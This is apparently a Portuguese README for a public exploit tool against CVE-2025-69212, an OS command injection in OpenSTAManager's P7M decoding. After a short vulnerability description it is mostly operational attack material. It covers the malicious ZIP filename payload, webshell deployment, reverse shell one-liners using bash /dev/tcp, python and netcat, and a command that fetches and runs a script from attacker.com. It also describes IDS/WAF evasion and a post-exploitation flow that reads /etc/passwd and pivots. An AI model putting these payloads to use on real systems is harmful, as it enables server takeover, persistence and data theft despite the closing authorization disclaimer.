OpenSTAManager v2.9.8 e versões anteriores contêm uma vulnerabilidade crítica de Injeção de Comandos do SO na função de decodificação de arquivos P7M (XML assinado).
| Campo | Detalhes |
|---|
| ID CVE | CVE-2025-69212 |
| Gravidade | CRÍTICO (CVSS 4.0: 9.4) |
| CWE | CWE-78: Injeção de Comandos do SO |
| Versões Afetadas | OpenSTAManager <= 2.9.8 |
| Função Vulnerável | XML::decodeP7M() em src/Util/XML.php |
| Vetor de Ataque | Nome de arquivo malicioso em arquivo ZIP enviado |
| Autenticação | Obrigatória (qualquer usuário com acesso a importação de faturas) |
| Impacto | Execução Remota Completa de Código como usuário do servidor web |
OpenSTAManager v2.9.8 e versões anteriores contêm uma vulnerabilidade crítica de Injeção de Comandos do SO na função de decodificação de arquivos P7M (XML assinado). O método decodeP7M() em src/Util/XML.php passa nomes de arquivo controlados pelo usuário diretamente para a função exec() do PHP sem sanitização, permitindo que atacantes autenticados executem comandos arbitrários do sistema no servidor.
// src/Util/XML.php:100
public static function decodeP7M($file)
{
$directory = pathinfo($file, PATHINFO_DIRNAME);
$output_file = $directory.'/'.basename($file, '.p7m');
exec('openssl smime -verify -noverify -in "'.$file.'" -inform DER -out "'.$output_file.'"', $output, $cmd);
}
O parâmetro $file — que se origina de nomes de arquivo dentro de arquivos ZIP enviados — é envolvido em aspas duplas, mas nunca sanitizado com escapeshellarg(). Um atacante pode criar um nome de arquivo .p7m que escapa do contexto de aspas duplas e injeta comandos arbitrários do shell.
plugins/importFE_ZIP/actions.php:126 — Vetor primário ao processar uploads ZIP contendo faturas eletrônicasplugins/importFE/src/FatturaElettronica.php:56 — Construtor que processa arquivos .p7m individuais| Funcionalidade | Descrição |
|---|---|
--check | Verificar se o alvo é vulnerável (cria e verifica um arquivo marcador) |
--webshell | Implantar um webshell PHP via injeção de comandos do SO |
--rce | Execução interativa de comandos através do webshell implantado |
--reverse-shell | Acionar um reverse shell (métodos python, nc, nc-e) |
--cmd | Execução cega de comandos (dispara e esquece) |
--shell-dir | Diretório personalizado para gravação do webshell |
--method | Seleção do método de reverse shell |
--proxy | Suporte a proxy HTTP (Burp Suite) |
--delay | Limitação de requisições para evasão de IDS/WAF |
| Auto-detecção | Descoberta automática dos IDs de módulo/plugin importFE_ZIP |
git clone https://github.com/BridgerAlderson/CVE-2025-69212.git
cd CVE-2025-69212
pip install requests
# Login with credentials
python3 exploit.py -t http://target.com -u admin -p secret --check
# Use existing session cookie
python3 exploit.py -t http://target.com -c <PHPSESSID_VALUE> --check
Detectar automaticamente o plugin e verificar a vulnerabilidade
python3 exploit.py -t http://target.com -u admin -p secret --check
Com IDs de módulo/plugin conhecidos
python3 exploit.py -t http://target.com -u admin -p secret --check --module-id 14 --plugin-id 23
Implantar webshell no diretório padrão (files/)
python3 exploit.py -t http://target.com -u admin -p secret --webshell
Diretório e nome de arquivo personalizados
python3 exploit.py -t http://target.com -u admin -p secret --webshell --shell-dir uploads --shell-name .config.php
Implantar webshell + shell interativo
python3 exploit.py -t http://target.com -u admin -p secret --rce
Com webshell existente de execução anterior
python3 exploit.py -t http://target.com -u admin -p secret --webshell --rce
Reverse shell Bash (padrão, muito confiável)
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444
Reverse shell Python
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method python
Netcat com mkfifo
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc
Netcat com flag -e
python3 exploit.py -t http://target.com -u admin -p secret --reverse-shell 10.10.14.5 4444 --method nc-e
Executar um comando (sem retorno de saída)
python3 exploit.py -t http://target.com -u admin -p secret --cmd "id"
Baixar e executar um payload
python3 exploit.py -t http://target.com -u admin -p secret --cmd "cd tmp && wget http://attacker.com/shell.sh && bash shell.sh"
Através do proxy Burp Suite
python3 exploit.py -t http://target.com -u admin -p secret --webshell --proxy http://127.0.0.1:8080
Com atraso de requisição (2 segundos)
python3 exploit.py -t http://target.com -u admin -p secret --check --delay 2
Ignorar verificação SSL
python3 exploit.py -t https://target.com -u admin -p secret --check -k
Alvo:
-t, --target URL base do alvo
Autenticação:
-u, --user Nome de usuário para login
-p, --password Senha para login
-c, --cookie Valor de PHPSESSID existente
Ações:
--check Verificar se o alvo está vulnerável
--webshell Implantar webshell PHP
--rce Shell interativo via webshell
--reverse-shell Reverse shell (LHOST LPORT)
--cmd COMMAND Execução cega de comandos
Opções do Shell:
--shell-dir DIR Diretório de gravação do webshell (padrão: files)
--shell-name NAME Nome de arquivo personalizado do webshell
--method METHOD Método de reverse shell: bash, python, nc, nc-e
Detecção de Plugin:
--module-id ID ID do módulo OpenSTAManager
--plugin-id ID ID do plugin importFE_ZIP
Rede:
--proxy URL URL do proxy HTTP
-k, --no-ssl-verify Desabilitar verificação SSL
--delay SECONDS Atraso entre requisições
O exploit cria um arquivo ZIP contendo um único arquivo .p7m com um nome de arquivo malicioso:
invoice.p7m";INJECTED_COMMAND;echo ".p7m
Quando o OpenSTAManager processa este arquivo, a chamada exec() resultante se torna:
openssl smime -verify -noverify -in "invoice.p7m";INJECTED_COMMAND;echo ".p7m" -inform DER -out "..."
O shell interpreta os ponto e vírgula como separadores de comandos, executando o comando injetado entre a chamada openssl terminada e o echo final.
Crítico: O
ZipArchive::extractTo()do PHP trata barras (/) em nomes de arquivo como separadores de diretório de acordo com a especificação ZIP. Qualquer/no nome do arquivo malicioso fará com que a entrada do arquivo seja dividida em diretórios, quebrando o payload do exploit.
Todos os comandos injetados devem evitar / completamente. Para contornar completamente essa restrição e evitar que o PHP exec() fique pendurado (o que pode travar os workers do servidor e causar timeouts), o exploit agora automaticamente encapsula os payloads em Base64 e os executa em segundo plano:
echo <BASE64_PAYLOAD> | base64 -d | bash >/dev/null 2>&1 &
Isso nos permite usar / naturalmente dentro do payload interno (ex.: /dev/tcp/10.10.14.5/4444) sem quebrar a estrutura ZIP.
| Método | Payload | Requer |
|---|---|---|
bash | bash -c 'bash -i >& /dev/tcp/H/P 0>&1' | bash |
python | python3 -c "import socket,os,subprocess;..." | Python 3 |
nc | rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc HOST PORT >/tmp/f | netcat + mkfifo |
nc-e | nc HOST PORT -e /bin/bash | netcat com suporte a -e |
O método bash agora é o padrão, pois é o método mais confiável e nativo em alvos Linux.
Upload ZIP via plugin importFE_ZIP
└── actions.php despacha para o manipulador do plugin
└── ZipArchive::extractTo() extrai arquivos
└── Itera sobre arquivos .p7m
└── XML::decodeP7M($filename)
└── exec('openssl smime ... -in "'.$filename.'"')
└── Shell interpreta comandos injetados
1. --check → Confirmar RCE via arquivo marcador
2. --webshell → Soltar shell PHP no diretório files/
3. --rce → Execução interativa de comandos
4. Enumerar → id, cat /etc/passwd, ifconfig
5. Pivotar → Reverse shell para atacante, pós-exploração
Esta ferramenta é fornecida apenas para testes de segurança autorizados e fins educacionais. O acesso não autorizado a sistemas de computador é ilegal. Sempre obtenha a devida autorização antes de testar. O autor não assume nenhuma responsabilidade pelo uso indevido.